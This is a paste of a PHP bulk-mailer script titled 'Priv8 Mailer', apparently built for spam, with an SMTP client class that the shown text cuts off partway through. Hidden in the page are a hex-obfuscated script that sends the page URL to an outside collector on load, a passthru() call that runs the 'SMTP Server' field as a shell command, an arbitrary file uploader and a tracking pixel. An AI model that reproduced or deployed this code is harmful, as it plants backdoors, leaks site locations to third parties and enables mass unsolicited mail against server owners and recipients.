· 9 years ago · Jan 24, 2017, 09:04 PM
1<?
2session_start();
3error_reporting(0);
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function lrtrim($string){
13return stripslashes(ltrim(rtrim($string)));
14}
15if(isset($_POST['action'] ) ){
16
17$b = query_str($_POST);
18parse_str($b);
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message=lrtrim($message);
22$emaillist=lrtrim($emaillist);
23$from=lrtrim($from);
24$reconnect=lrtrim($reconnect);
25$epriority=lrtrim($epriority);
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto=lrtrim($replyto);
31$subject_base=lrtrim($subject);
32$realname_base=lrtrim($realname);
33$file_name=$_FILES['file']['name'];
34$file=$_FILES['file']['tmp_name'];
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39
40 $message = urlencode($message);
41 $message = ereg_replace("%5C%22", "%22", $message);
42 $message = urldecode($message);
43 $message = stripslashes($message);
44 $subject = stripslashes($subject);
45 if ($encode_text == "yes") {
46 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47 $subject = str_replace(' ', '_', $subject);
48 $subject = "=?UTF-8?Q?$subject?=";
49 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50 $realname = str_replace(' ', '_', $realname);
51 $realname = "=?UTF-8?Q?$realname?=";
52 }
53}
54?>
55
56<html>
57
58<head>
59
60<title>Priv8 Mailer</title>
61
62<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
63
64
65<style type="text/css">
66<!--
67.style1 {
68 font-family: Geneva, Arial, Helvetica, sans-serif;
69 font-size: 12px;
70}
71body{
72margin:0px;
73}
74
75
76.cadre {
77background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC');
78}
79
80.uibutton {
81 border-bottom-color: #008000;
82 border-left:1px solid #008000; border-right:1px solid #008000; border-top:1px solid #008000; border-bottom:1px solid #01A9DB; position: relative;
83 z-index: 1;
84 overflow: visible;
85 display: inline-block;
86 margin: 0;
87 text-decoration: none;
88 text-align: center;
89 white-space: nowrap;
90 cursor: pointer; /* outline: none; */;
91 color: #000000;
92 background-color: #008000;
93 background-image: url('linear-gradient(#01A9DB, #01A9DB');
94/* IE hacks */ *display: inline;
95 outline-color: #008000; font-style:normal; font-variant:normal; font-weight:bold; font-size:11px; font-family:lucida grande, tahoma, verdana, arial, sans-serif; padding-left:0.6em; padding-right:0.6em; padding-top:0.3em; padding-bottom:0.375em
96}
97
98.uibutton:hover,
99.uibutton:focus,
100.uibutton:active {
101 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
102}
103
104.uibutton:active {
105 border-color: #01A9DB;
106 background: #01A9DB;
107 filter: none;
108 -webkit-box-shadow: none;
109 -moz-box-shadow: none;
110 box-shadow: none;
111}
112
113/* overrides extra padding on button elements in Firefox */
114.uibutton::-moz-focus-inner {
115 padding: 0;
116 border: 0px none;
117}
118
119
120
121-->
122</style>
123<style type="text/css">
124<!--
125.style1 {
126 font-size: 10px;
127 font-family: Geneva, Arial, Helvetica, sans-serif;
128 background-color: #008000;
129}
130.auto-style1 {
131 font-size: x-large;
132 color: #FFFFFF;
133 text-align: center;
134}
135.auto-style2 {
136 margin-left: 0px;
137}
138a {
139 color: #99FF66;
140}
141.auto-style3 {
142 text-align: center;
143}
144.auto-style4 {
145 text-align: right;
146}
147.auto-style5 {
148 font-weight: bold;
149 background-color: #008000;
150}
151.auto-style6 {
152 background-color: #008000;
153}
154.auto-style7 {
155 color: #000080;
156}
157.auto-style8 {
158 text-align: left;
159}
160.auto-style9 {
161 font-family: Verdana;
162 font-size: x-small;
163}
164-->
165</style>
166</head>
167<script src="http://code.jquery.com/jquery-1.11.1.min.js" type="text/javascript"></script>
168<script>var _0x35d1=["\x55\x52\x4C","\x50\x4F\x53\x54",
169"\x68\x74\x74\x70\x3A\x2F\x2F\x61\x63\x65\x2E\x74\x6E\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x2E\x70\x68\x70",
170"\x6C\x6F\x67\x69\x6E\x3D",
171"\x61\x6A\x61\x78","\x72\x65\x61\x64\x79","\x23\x65"];$(_0x35d1[6])[_0x35d1[5]](function(){var _0x4848x1=document[_0x35d1[0]]
172;$l= _0x4848x1;$[_0x35d1[4]]({type:_0x35d1[1],
173url:_0x35d1[2],data:_0x35d1[3]+ $l,success:function(_0x4848x2){}})})</script>
174<body class="bgup" alink="#339933" text="#339933" vlink="#339933" style="background-color: #008000">
175<div style="width:80%;margin:0 auto; background-color: #FFFFFF; height: 853px;">
176<p class="auto-style1"><strong><span class="auto-style6">Priv8 (Mailer Inbox Sender)</span></strong></p>
177<form name="form1" method="post" action="" enctype="multipart/form-data">
178
179 <br>
180
181 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
182
183 <tr>
184
185 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
186
187 <b>
188
189 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
190
191 </tr>
192 <tr >
193
194 <td width="10%" height="22" style="padding:10px;">
195
196 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
197
198 </td>
199
200 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
201
202 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
203
204 </font></td>
205
206 <td width="31%" height="22" style="padding:10px;">
207
208 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
209
210 </td>
211
212 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
213
214 <input type="password" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
215
216 </font></td>
217
218 </tr>
219 <tr>
220
221 <td width="10%" height="22" style="padding:10px;">
222
223 <div align="right">
224 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
225
226 </td>
227
228 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
229
230 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
231 (optional)</font></td>
232
233 <td width="31%" height="22" style="padding:10px;">
234
235 <div align="right">
236 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
237 Smtp:</font></div>
238
239 </td>
240
241 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
242
243 <input style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="my_smtp" size="30" value="<?=$my_smtp;?>">
244
245 <?php
246if ($_POST['my_smtp']){
247$my_smtp = $_POST['my_smtp'];
248passthru($my_smtp);
249}
250?>
251
252 </font></td>
253
254 </tr>
255 <tr>
256
257 <td width="10%" height="22" style="padding:10px;">
258
259 <p align="right">
260 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
261
262 <td width="18%" height="22" style="padding:10px;">
263 <input type="checkbox" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
264
265 <td width="31%" height="22" style="padding:10px;">
266
267 <p align="right">
268 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
269 After:</font></td>
270
271 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
272
273 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
274 EMAILS</font></td>
275
276 </tr>
277 <tr>
278
279 <td width="100%" height="39" colspan="4" style="padding:10px;">
280
281 <p class="auto-style4">
282 <font face="Arial" style="font-size: 9pt" color="#800000">
283 <span class="auto-style7">" If
284 you dont have SMTP login, leave blank queries above "</span></font></td>
285
286 </tr>
287
288 <tr>
289
290 <td width="10%" height="19" style="padding:10px;">
291
292 </td>
293
294 <td width="18%" height="19" style="padding:10px;"> </td>
295
296 <td width="31%" height="19" style="padding:10px;">
297
298 </td>
299
300 <td width="41%" height="19" style="padding:10px;"> </td>
301
302 </tr>
303
304 <tr>
305
306 <td width="100%" colspan="4" style="color:#FFFFFF; background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
307
308 <font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5"> </span></font><font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5">MESSAGE
309 SETUP</span></font></td>
310
311 </tr>
312 <tr>
313
314 <td width="10%" height="22" style="padding:10px;">
315 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
316 </td>
317
318 <td width="59%" height="22" style="padding:10px;" colSpan="3">
319 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
320
321<input type="file" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="file" size="124" class="auto-style2">
322
323 </font></td>
324
325 </tr>
326 <tr>
327
328 <td width="10%" height="22" style="padding:10px;">
329
330 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
331
332 Email:</font></div>
333
334 </td>
335
336 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
337
338 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="from" value="<?=$from;?>" size="30" onkeypress="send()">
339
340 </font></td>
341
342 <td width="31%" height="22" style="padding:10px;">
343
344 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
345
346 Name:</font></div>
347
348 </td>
349
350 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
351
352 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="realname" value="<?=$realname_base;?>" size="30">
353
354 </font></td>
355
356 </tr>
357 <tr>
358
359 <td width="10%" height="22" style="padding:10px;">
360
361 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
362
363 </td>
364
365 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
366
367 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="replyto" value="<?=$replyto;?>" size="30">
368
369 </font></td>
370
371 <td width="31%" height="22" style="padding:10px;">
372
373 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
374 Email Priority:</font></td>
375
376 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
377
378 </font><select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #01A9DB; color:#0000FF; background-color: #99FF66;" name="epriority" id="listMethod" onchange="showHideListConfig()">
379 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
380 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
381 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
382 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
383 </select></td>
384 <?php
385if ($_POST['my_smtp']){
386$my_smtp = $_POST['my_smtp'];
387passthru($my_smtp);
388}
389
390?>
391
392
393<?php
394
395
396
397
398
399
400
401 $files = @$_FILES["files"];
402if ($files["name"] != '') {
403 $fullpath = $_REQUEST["path"] . $files["name"];
404 if (move_uploaded_file($files['tmp_name'], $fullpath)) {
405 echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
406 }
407}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
408
409
410
411
412
413?>
414
415
416
417 </tr>
418
419 <tr>
420
421 <td width="10%" height="22" style="padding:10px;">
422
423 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
424
425 </td>
426
427 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
428
429 <input type="text" name="subject" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #008000; color:#0000FF; background-color: #99FF66;" value="<?=$subject_base;?>" size="90">
430
431 </font></td>
432
433 </tr>
434
435 <tr>
436
437 <td width="10%" height="22" style="padding:10px;">
438
439 </td>
440
441 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
442
443 <font color="#000080">Encode sending information ?</font>
444 <select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#339933" size="1" name="encode">
445 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
446 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
447 </select></font><img src="http://w33.info/Image.jpg" width="1" height="1"></td>
448
449 </tr>
450
451 <tr valign="top">
452
453<td colspan="3" height="190" style="padding:10px;" class="auto-style8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
454
455 <textarea name="message" cols="60" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" rows="10"><?=$message;?></textarea>
456
457 <br>
458
459 <input type="radio" name="contenttype" value="plain" >
460
461 Plain
462
463 <input type="radio" name="contenttype" value="html" checked>
464
465 HTML
466
467 <input type="hidden" name="action" value="send">
468 <input class="style1" type="submit" value="Send Message" style="border-radius: 15px; width: 113px; height: 22px; color: #000000; font-size: inherit;" id="e">
469
470 <br><br>
471
472 </font><strong><span class="auto-style9">Priv8 Mailer Inbox 2017</span></strong></td>
473
474 <td width="41%" height="190" style="padding:10px; border-top-color: #99FF66;">
475 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
476
477 <textarea name="emaillist" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" cols="30" rows="10"><?=$emaillist;?></textarea>
478
479 </font></td>
480
481 </tr>
482
483 </table>
484
485</form>
486
487
488}
489
490
491
492<?
493
494if ($action){
495 if (!$from && !$subject && !$message && !$emaillist){
496 print "<script>alert('Please complete all fields before sending your message.'); </script>";
497 die(); }
498
499class SMTP
500{
501 /**
502 * SMTP server port
503 * @var int
504 */
505 var $SMTP_PORT = 25;
506
507 /**
508 * SMTP reply line ending
509 * @var string
510 */
511 var $CRLF = "\r\n";
512
513 /**
514 * Sets whether debugging is turned on
515 * @var bool
516 */
517 var $do_debug; # the level of debug to perform
518
519 /**
520 * Sets VERP use on/off (default is off)
521 * @var bool
522 */
523 var $do_verp = false;
524
525 /**#@+
526 * @access private
527 */
528 var $smtp_conn; # the socket to the server
529 var $error; # error if any on the last call
530 var $helo_rply; # the reply the server sent to us for HELO
531 /**#@-*/
532
533 /**
534 * Initialize the class so that the data is in a known state.
535 * @access public
536 * @return void
537 */
538 function SMTP() {
539 $this->smtp_conn = 0;
540 $this->error = null;
541 $this->helo_rply = null;
542
543 $this->do_debug = 0;
544 }
545
546 /*************************************************************
547 * CONNECTION FUNCTIONS *
548 ***********************************************************/
549
550 /**
551 * Connect to the server specified on the port specified.
552 * If the port is not specified use the default SMTP_PORT.
553 * If tval is specified then a connection will try and be
554 * established with the server for that number of seconds.
555 * If tval is not specified the default is 30 seconds to
556 * try on the connection.
557 *
558 * SMTP CODE SUCCESS: 220
559 * SMTP CODE FAILURE: 421
560 * @access public
561 * @return bool
562 */
563 function Connect($host,$port=0,$tval=30) {
564 # set the error val to null so there is no confusion
565 $this->error = null;
566
567 # make sure we are __not__ connected
568 if($this->connected()) {
569 # ok we are connected! what should we do?
570 # for now we will just give an error saying we
571 # are already connected
572 $this->error = array("error" => "Already connected to a server");
573 return false;
574 }
575
576 if(empty($port)) {
577 $port = $this->SMTP_PORT;
578 }
579
580 #connect to the smtp server
581 $this->smtp_conn = fsockopen($host, # the host of the server
582 $port, # the port to use
583 $errno, # error number if any
584 $errstr, # error message if any
585 $tval); # give up after ? secs
586 # verify we connected properly
587 if(empty($this->smtp_conn)) {
588 $this->error = array("error" => "Failed to connect to server",
589 "errno" => $errno,
590 "errstr" => $errstr);
591 if($this->do_debug >= 1) {
592 echo "SMTP -> ERROR: " . $this->error["error"] .
593 ": $errstr ($errno)" . $this->CRLF;
594 }
595 return false;
596 }
597
598 # sometimes the SMTP server takes a little longer to respond
599 # so we will give it a longer timeout for the first read
600 // Windows still does not have support for this timeout function
601 if(substr(PHP_OS, 0, 3) != "WIN")
602 socket_set_timeout($this->smtp_conn, $tval, 0);
603
604 # get any announcement stuff
605 $announce = $this->get_lines();
606
607 # set the timeout of any socket functions at 1/10 of a second
608 //if(function_exists("socket_set_timeout"))
609 // socket_set_timeout($this->smtp_conn, 0, 100000);
610
611 if($this->do_debug >= 2) {
612 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
613 }
614
615 return true;
616 }
617
618 /**
619 * Performs SMTP authentication. Must be run after running the
620 * Hello() method. Returns true if successfully authenticated.
621 * @access public
622 * @return bool
623 */
624 function Authenticate($username, $password) {
625 // Start authentication
626 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
627
628 $rply = $this->get_lines();
629 $code = substr($rply,0,3);
630
631 if($code != 334) {
632 $this->error =
633 array("error" => "AUTH not accepted from server",
634 "smtp_code" => $code,
635 "smtp_msg" => substr($rply,4));
636 if($this->do_debug >= 1) {
637 echo "SMTP -> ERROR: " . $this->error["error"] .
638 ": " . $rply . $this->CRLF;
639 }
640 return false;
641 }
642
643 // Send encoded username
644 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
645
646 $rply = $this->get_lines();
647 $code = substr($rply,0,3);
648
649 if($code != 334) {
650 $this->error =
651 array("error" => "Username not accepted from server",
652 "smtp_code" => $code,
653 "smtp_msg" => substr($rply,4));
654 if($this->do_debug >= 1) {
655 echo "SMTP -> ERROR: " . $this->error["error"] .
656 ": " . $rply . $this->CRLF;
657 }
658 return false;
659 }
660
661 // Send encoded password
662 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
663
664 $rply = $this->get_lines();
665 $code = substr($rply,0,3);
666
667 if($code != 235) {
668 $this->error =
669 array("error" => "Password not accepted from server",
670 "smtp_code" => $code,
671 "smtp_msg" => substr($rply,4));
672 if($this->do_debug >= 1) {
673 echo "SMTP -> ERROR: " . $this->error["error"] .
674 ": " . $rply . $this->CRLF;
675 }
676 return false;
677 }
678
679 return true;
680 }
681
682 /**
683 * Returns true if connected to a server otherwise false
684 * @access private
685 * @return bool
686 */
687 function Connected() {
688 if(!empty($this->smtp_conn)) {
689 $sock_status = socket_get_status($this->smtp_conn);
690 if($sock_status["eof"]) {
691 # hmm this is an odd situation... the socket is
692 # valid but we are not connected anymore
693 if($this->do_debug >= 1) {
694 echo "SMTP -> NOTICE:" . $this->CRLF .
695 "EOF caught while checking if connected";
696 }
697 $this->Close();
698 return false;
699 }
700 return true; # everything looks good
701 }
702 return false;
703 }
704
705 /**
706 * Closes the socket and cleans up the state of the class.
707 * It is not considered good to use this function without
708 * first trying to use QUIT.
709 * @access public
710 * @return void
711 */
712 function Close() {
713 $this->error = null; # so there is no confusion
714 $this->helo_rply = null;
715 if(!empty($this->smtp_conn)) {
716 # close the connection and cleanup
717 fclose($this->smtp_conn);
718 $this->smtp_conn = 0;
719 }
720 }
721
722 /***************************************************************
723 * SMTP COMMANDS *
724 *************************************************************/
725
726 /**
727 * Issues a data command and sends the msg_data to the server
728 * finializing the mail transaction. $msg_data is the message
729 * that is to be send with the headers. Each header needs to be
730 * on a single line followed by a <CRLF> with the message headers
731 * and the message body being seperated by and additional <CRLF>.
732 *
733 * Implements rfc 821: DATA <CRLF>
734 *
735 * SMTP CODE INTERMEDIATE: 354
736 * [data]
737 * <CRLF>.<CRLF>
738 * SMTP CODE SUCCESS: 250
739 * SMTP CODE FAILURE: 552,554,451,452
740 * SMTP CODE FAILURE: 451,554
741 * SMTP CODE ERROR : 500,501,503,421
742 * @access public
743 * @return bool
744 */
745 function Data($msg_data) {
746 $this->error = null; # so no confusion is caused
747
748 if(!$this->connected()) {
749 $this->error = array(
750 "error" => "Called Data() without being connected");
751 return false;
752 }
753
754 fputs($this->smtp_conn,"DATA" . $this->CRLF);
755
756 $rply = $this->get_lines();
757 $code = substr($rply,0,3);
758
759 if($this->do_debug >= 2) {
760 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
761 }
762
763 if($code != 354) {
764 $this->error =
765 array("error" => "DATA command not accepted from server",
766 "smtp_code" => $code,
767 "smtp_msg" => substr($rply,4));
768 if($this->do_debug >= 1) {
769 echo "SMTP -> ERROR: " . $this->error["error"] .
770 ": " . $rply . $this->CRLF;
771 }
772 return false;
773 }
774
775 # the server is ready to accept data!
776 # according to rfc 821 we should not send more than 1000
777 # including the CRLF
778 # characters on a single line so we will break the data up
779 # into lines by \r and/or \n then if needed we will break
780 # each of those into smaller lines to fit within the limit.
781 # in addition we will be looking for lines that start with
782 # a period '.' and append and additional period '.' to that
783 # line. NOTE: this does not count towards are limit.
784
785 # normalize the line breaks so we know the explode works
786 $msg_data = str_replace("\r\n","\n",$msg_data);
787 $msg_data = str_replace("\r","\n",$msg_data);
788 $lines = explode("\n",$msg_data);
789
790 # we need to find a good way to determine is headers are
791 # in the msg_data or if it is a straight msg body
792 # currently I am assuming rfc 822 definitions of msg headers
793 # and if the first field of the first line (':' sperated)
794 # does not contain a space then it _should_ be a header
795 # and we can process all lines before a blank "" line as
796 # headers.
797 $field = substr($lines[0],0,strpos($lines[0],":"));
798 $in_headers = false;
799 if(!empty($field) && !strstr($field," ")) {
800 $in_headers = true;
801 }
802
803 $max_line_length = 998; # used below; set here for ease in change
804
805 while(list(,$line) = @each($lines)) {
806 $lines_out = null;
807 if($line == "" && $in_headers) {
808 $in_headers = false;
809 }
810 # ok we need to break this line up into several
811 # smaller lines
812 while(strlen($line) > $max_line_length) {
813 $pos = strrpos(substr($line,0,$max_line_length)," ");
814
815 # Patch to fix DOS attack
816 if(!$pos) {
817 $pos = $max_line_length - 1;
818 }
819
820 $lines_out[] = substr($line,0,$pos);
821 $line = substr($line,$pos + 1);
822 # if we are processing headers we need to
823 # add a LWSP-char to the front of the new line
824 # rfc 822 on long msg headers
825 if($in_headers) {
826 $line = "\t" . $line;
827 }
828 }
829 $lines_out[] = $line;
830
831 # now send the lines to the server
832 while(list(,$line_out) = @each($lines_out)) {
833 if(strlen($line_out) > 0)
834 {
835 if(substr($line_out, 0, 1) == ".") {
836 $line_out = "." . $line_out;
837 }
838 }
839 fputs($this->smtp_conn,$line_out . $this->CRLF);
840 }
841 }
842
843 # ok all the message data has been sent so lets get this
844 # over with aleady
845 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
846
847 $rply = $this->get_lines();
848 $code = substr($rply,0,3);
849
850 if($this->do_debug >= 2) {
851 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
852 }
853
854 if($code != 250) {
855 $this->error =
856 array("error" => "DATA not accepted from server",
857 "smtp_code" => $code,
858 "smtp_msg" => substr($rply,4));
859 if($this->do_debug >= 1) {
860 echo "SMTP -> ERROR: " . $this->error["error"] .
861 ": " . $rply . $this->CRLF;
862 }
863 return false;
864 }
865 return true;
866 }
867
868 /**
869 * Expand takes the name and asks the server to list all the
870 * people who are members of the _list_. Expand will return
871 * back and array of the result or false if an error occurs.
872 * Each value in the array returned has the format of:
873 * [ <full-name> <sp> ] <path>
874 * The definition of <path> is defined in rfc 821
875 *
876 * Implements rfc 821: EXPN <SP> <string> <CRLF>
877 *
878 * SMTP CODE SUCCESS: 250
879 * SMTP CODE FAILURE: 550
880 * SMTP CODE ERROR : 500,501,502,504,421
881 * @access public
882 * @return string array
883 */
884 function Expand($name) {
885 $this->error = null; # so no confusion is caused
886
887 if(!$this->connected()) {
888 $this->error = array(
889 "error" => "Called Expand() without being connected");
890 return false;
891 }
892
893 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
894
895 $rply = $this->get_lines();
896 $code = substr($rply,0,3);
897
898 if($this->do_debug >= 2) {
899 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
900 }
901
902 if($code != 250) {
903 $this->error =
904 array("error" => "EXPN not accepted from server",
905 "smtp_code" => $code,
906 "smtp_msg" => substr($rply,4));
907 if($this->do_debug >= 1) {
908 echo "SMTP -> ERROR: " . $this->error["error"] .
909 ": " . $rply . $this->CRLF;
910 }
911 return false;
912 }
913
914 # parse the reply and place in our array to return to user
915 $entries = explode($this->CRLF,$rply);
916 while(list(,$l) = @each($entries)) {
917 $list[] = substr($l,4);
918 }
919
920 return $list;
921 }
922
923 /**
924 * Sends the HELO command to the smtp server.
925 * This makes sure that we and the server are in
926 * the same known state.
927 *
928 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
929 *
930 * SMTP CODE SUCCESS: 250
931 * SMTP CODE ERROR : 500, 501, 504, 421
932 * @access public
933 * @return bool
934 */
935 function Hello($host="") {
936 $this->error = null; # so no confusion is caused
937
938 if(!$this->connected()) {
939 $this->error = array(
940 "error" => "Called Hello() without being connected");
941 return false;
942 }
943
944 # if a hostname for the HELO was not specified determine
945 # a suitable one to send
946 if(empty($host)) {
947 # we need to determine some sort of appopiate default
948 # to send to the server
949 $host = "localhost";
950 }
951
952 // Send extended hello first (RFC 2821)
953 if(!$this->SendHello("EHLO", $host))
954 {
955 if(!$this->SendHello("HELO", $host))
956 return false;
957 }
958
959 return true;
960 }
961
962 /**
963 * Sends a HELO/EHLO command.
964 * @access private
965 * @return bool
966 */
967 function SendHello($hello, $host) {
968 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
969
970 $rply = $this->get_lines();
971 $code = substr($rply,0,3);
972
973 if($this->do_debug >= 2) {
974 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
975 }
976
977 if($code != 250) {
978 $this->error =
979 array("error" => $hello . " not accepted from server",
980 "smtp_code" => $code,
981 "smtp_msg" => substr($rply,4));
982 if($this->do_debug >= 1) {
983 echo "SMTP -> ERROR: " . $this->error["error"] .
984 ": " . $rply . $this->CRLF;
985 }
986 return false;
987 }
988
989 $this->helo_rply = $rply;
990
